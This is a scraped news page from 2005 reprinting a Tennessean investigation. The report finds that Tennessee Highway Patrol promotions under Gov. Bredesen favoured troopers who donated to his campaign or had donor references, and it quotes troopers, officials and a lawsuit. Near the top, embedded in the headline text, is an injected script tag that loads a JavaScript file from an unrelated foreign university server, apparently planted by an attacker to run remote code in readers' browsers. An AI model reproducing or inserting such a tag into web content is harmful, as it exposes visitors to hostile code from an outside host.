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NEWS > 13 November 2005

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The state Capitol looms above<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
Ashland City Times - Ashland C
13 November 2005
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To view it in its entirity click this link.
The state Capitol looms above

Troopers with 'politics' win o

Two-thirds of Tennessee Highway Patrol officers tapped for promotion under Gov. Phil Bredesen gave money to his campaign or had family or political patrons who did, a Tennessean investigation has found.

Among those with such connections, more than half were promoted over troopers who scored better on impartial exams or rankings, according to an analysis by the newspaper of three years of the patrol's promotions and proposed promotions.

The situation is not unique to Bredesen, insiders say, but has been a signature of the patrol for much of its 76-year history: outside politics, campaign contributions and a culture of favors for the powerful are a tradition and expectation despite state civil-service rules designed to shield the patrol from political influence.

While Bredesen has recently said he wants to change that culture in the THP, there is little evidence that he has done so in the first three years of his administration.

In the THP, the rank-and-file refer to a trooper's connections as "his politics."

"You don't get promoted without it," said longtime THP officer R.L. Dowdy of East Tennessee, who retired in 2003 after failing in a bid for higher rank. "It shouldn't be that way."

Safety Commissioner Fred Phillips denied interview requests on this story for more than a month, but granted one on Thursday. He said he was unaware of any connection between promotions and donations to Bredesen.

"Anyone I've promoted, I've never looked at a contributor list and never had the personal knowledge that they made a contribution," Phillips said. "A lot of these people I don't even know the face or name. Recommendations come to me from the ranking career officials throughout the Highway Patrol."

Both Phillips and Col. Lynn Pitts, the patrol's top uniformed officer, sign off on promotions. Both are Bredesen appointees who gave or whose family members gave more than $2,000 to his campaign; Phillips also headed Bredesen's 2002 campaign in Washington County.

The newspaper's analysis of three years of promotions, including 126 cases in which THP officers were either promoted or proposed for promotion since Bredesen took office in 2003, found:

Sixty-two of the promoted officers 49% contributed or had close family members who contributed to the governor's campaign before they were promoted.

Thirty-six officers who gave campaign money or whose family members gave to Bredesen advanced even though their promotion test scores or ratings were lower than those of other applicants. Among that group were Pitts' two sons, who are also state troopers.

The patrol's promotion process is complemented by its "recommendation" system, in which candidates seek the blessing of political patrons and donors. Twenty-five officers who were promoted or proposed for promotion did not give to Bredesen, but had references who did. Of those officers, 13 were promoted over troopers who outscored them.

In promoting officers with lower promotion scores who have political connections, the agency sometimes uses a looser set of standards designed for outside hires. After being told of The Tennessean's findings, the state Personnel Department said it would review whether that "loophole" should be closed to keep the system from being "manipulated."

"To the extent the internal workings of a police department is not basing its promotions on merit and the quality of the officers, and instead on whose back is being scratched, it raises questions about the integrity of the entire organization," said Stefanie Lindquist, a Vanderbilt political science and law professor.

"It's hard to believe that an institution who doesn't treat its employees in an even-handed fashion would treat those outside the organization any better."

'It's always been there'

With their khaki-and-green outfits and distinctive flat-brimmed hats, the nearly 1,000 uniformed officers of the Tennessee Highway Patrol enforce the state's traffic laws on 87,000 miles of roads in 95 counties.

Patterned after the legendary Texas Rangers, the THP's officers investigated 31,000 wrecks, made nearly 2,000 felony arrests and dealt with 195,000 moving violations and drunken drivers in 2003-04.

But the agency, which the state budget allots about $72 million a year, has a habit of making supervisors out of troopers who donated to the governor's campaign, according to the newspaper's review.

Take Don Nicholson, 49, of White House. He had the lowest score of the 15 sergeants on the THP's Nashville district promotions roster for lieutenant in 2001. He scored an 81; the next-lowest score was a 90.

But he was promoted to lieutenant in 2003, not long after Bredesen took office. He and his family had given $350 to Bredesen's 2002 race, according to campaign-finance records.

Five other sergeants who outscored Nicholson in his testing group were not promoted, state records show.

Nicholson, who declined to comment for this story, gave an additional $200 to Bredesen in 2003 and $100 in 2004, campaign records show.

He was scheduled for another promotion this past August, this time to captain. That advancement was put on hold, along with the rest of the THP's pending promotions, after The Tennessean raised questions about the process.

Breseden has gleaned more than $30,000 from 62 officers who were promoted or tapped for promotion or their families in the past three years, records show.

Troopers and former troopers from across the state told the newspaper they feel pressured to contribute money to campaigns and to encourage people they know to give or risk losing out on promotions.

"It's very political," said Bill Campbell, a West Tennessean who recently retired from the patrol as a lieutenant. "Every governor I know since I've been there has said they're going to take politics out of the Highway Patrol. It ain't going to happen. It's always been there."

Indeed, allegations that patrol officers were pressured for contributions came up in the 1952 governor's race. The victor that year, Frank Clement, wrote to each THP officer during the campaign, promising not to pressure the patrolmen for donations: "This practice is a disgraceful one which violates the dignity of your profession in addition to placing an unfair strain on your pocket."

However, Gov. Clement's own campaign for U.S. Senate was accused by THP officers in a 1966 Tennessean story of ordering a "shakedown," in which troopers were told to bring 10% of one month's take-home pay to the campaign treasurer at the Hermitage Hotel downtown.

Decades later, highway patrolmen are still opening their wallets, campaign finance records show.

Some THP officers and their spouses gave $50 or $100 to Bredesen, the newspaper found. Others gave thousands, like Trooper Robert E. Carter II, who with his family gave Bredesen $5,000 and was promoted to sergeant last year despite an 88 score that put him in the bottom half of his testing group, according to state records. Carter declined to comment.

Campaign contributions can be significant for troopers. The Carter family's $5,000 contribution equals 16% of a state trooper's starting annual pay of about $30,500. Starting pay for a sergeant is roughly $37,000, and for a lieutenant, $42,500.

Approached in August, Bredesen said he succeeded in removing politics from the promotions of the Nashville Police Department when he was mayor. He said he wants the Highway Patrol headed in that direction, too.

"We need to professionalize the department," Bredesen said. "We need especially to treat young people in the department in a way that they think the way they get ahead is to do a good job as opposed to making friendships. And I'm headed in that direction."

Contacted for comment on the specifics of this story, Bredesen spokeswoman Lydia Lenker last week said the governor was busy and therefore unavailable.

The top echelons of the THP's leadership are political appointees like Phillips and Pitts, many of them giving thousands of dollars to Bredesen's campaign, a setup no different from many other state agencies. However, THP officers below the rank of captain its troopers, sergeants and lieutenants are supposed to be covered by the state's civil service rules, which are intended to remove politics from state personnel decisions.

At the THP's neighbor to the north, state law bans officers of the Kentucky State Police from "giving, soliciting or receiving" contributions to political candidates.

"It erases any question of favoritism based on political affiliation," said Maj. Lisa Rudzinski, spokeswoman for the Kentucky State Police. "Their oath of office is to the true letter of the law, not to anyone or any political party."

In Tennessee, political contributions were among the issues raised in a lawsuit filed by a former East Tennessee trooper, Lt. Bryan Farmer, who said he was retaliated against, demoted and eventually fired after supporting Republican Van Hilleary over Bredesen in 2002. The trooper's boss, Capt. Charles Laxton, and his family gave $3,700 to Bredesen during the 2002 race, records show.

Laxton declined to speak in detail for this story, citing pending lawsuits, but said he "categorically denies" the accusations and looks forward to telling his side of the story in court.

But in a recorded conversation that has been transcribed and entered as evidence in the case, Laxton said campaign work is "the way I got where I'm at."

"If you want to get paid off, you know," Laxton was recorded as saying, " you might be on the winning side, is all I heard."

Tracking patronage

In a high-tech world, computer spreadsheets are increasingly relied on by police officers tracking, sorting and analyzing everything from traffic accidents to shootings.

The Tennessee Highway Patrol also has a spreadsheet that keeps track of political patrons of THP officers and job candidates.

Congressmen, state legislators, Bredesen administration officials, political donors, rural Democratic Party leaders their names are legion in the spreadsheet of those who put in a good word for a trooper in recent years. It doesn't specify which ones gave to the governor's campaign, but that information is obtainable by the public from other sources. The promotion applications troopers fill out also have spaces to list references, and many do.

Of the 126 THP promotions and proposed promotions the newspaper reviewed, state records show 13 officers did not donate to Bredesen but had references from donors and were promoted or slated for promotion over at least one other trooper who outscored them. Sgt. Tony Barham is one of them.

Sgt. Barham's test score of 94 was the fifth-best score in his group of sergeants from the Jackson district. Yet he was one of two in that group slated to be promoted to lieutenant this past August, before the promotions were scrapped.

Barham said he didn't make any contributions to Bredesen, and the newspaper found no record that he or his family gave.

But his references did.

One is lobbyist Johnny Hayes, Bredesen's fundraising chairman, who has given Bredesen $10,000 since 2001. The other is Clark Jones, a Weststate car dealer and major Democratic fundraiser who has given $5,500. Both men contacted THP headquarters on Barham's behalf, according to agency records.

The day before the THP was to announce the new slate of promotions this past August, Barham was one of two troopers who drove the governor to a Hardin County fundraiser.

In an interview, Barham said he didn't know that Hayes or Jones had recommended him (even though his application for promotion shows that he listed Jones as a reference).

He said he's been friends with both Hayes and Jones for years. Barham also said that just because somebody scores higher on a promotion test doesn't mean they're the best candidate.

"I'm happy to get recommended by whoever," the 17-year THP veteran said. "I hope I can say I got promoted based on me."

Of nearly 600 people whose names appear in the spreadsheet as having recommended a trooper for promotion, just under two-thirds were law-enforcement employees, judges, lawyers, or court officials. Most of the rest of the people making recommendations were politically connected fundraisers, lawmakers or local politicians.

In the Thursday interview, Commissioner Phillips said he "pays a lot of attention" to recommendations when hiring, but downplayed their importance in promotions.

"When I look at people that make recommendations for promotion, everything is taken into consideration, but the bottom line is the capabilities of the individual that's a candidate for the position," Phillips said.

Two convicted felons also played a role in helping get officers promoted, records show.

One is Harold Grooms, 57, an auto dealer from rural Cocke County who has personally given Bredesen $10,000 since August 2001 and held an August 2004 fundraiser at his home attended by the governor, according to campaign records and the governor's office. Grooms met with the governor in May of this year at the Capitol.

Grooms was among a series of politicos and others who successfully recommended Trooper Dennis Jenkins for promotion to sergeant, according to THP records. The promotion went through in May 2004, five months after Grooms' recommendation letter to Commissioner Phillips.

Grooms was convicted in 1992 in a case involving car theft and a chop shop for stolen cars, and he was sentenced to four years behind bars, according to court records and District Attorney General Al Schmutzer Jr.

A Democrat, Grooms said he was "real good friends" with Jenkins' late father, and that when the son approached him for help, he did what he would for anyone.

"I've paid my debt," Grooms said. "If I can help anyone, I will, as long as there's nothing wrong with it. Mr. Jenkins was number one on the list and he was the best-qualified person for the job. I didn't see no reason not to write a letter of recommendation. He'd been on the top of the list and passed over several times under the previous administration through, probably, politics, I don't know. He deserved the promotion."

Jenkins declined to comment for this story.

The other convicted felon is Gladys Crain, 81, of Halls, Tenn., who headed Bredesen's 2002 campaign in Lauderdale County. She and her family were references for two Weststate sergeants who were proposed for promotion in August.

Their promotions came after they testified on behalf of her grandson, who had been charged with drunken driving. Their testimony contradicted the arresting officer, even though they had no involvement in the case.

THP's entire slate of promotions was called off in August for an internal review after The Tennessean wrote about the Lauderdale case. The review is "almost complete," Phillips said Thursday.

Campbell says he was disgusted by the two sergeants' testimony against another trooper. He said he's had enough of politics in the THP and retired this summer after three decades.

"When it starts interfering with the daily operations of the enforcement of the laws of the state," Campbell said, "that is wrong."
 

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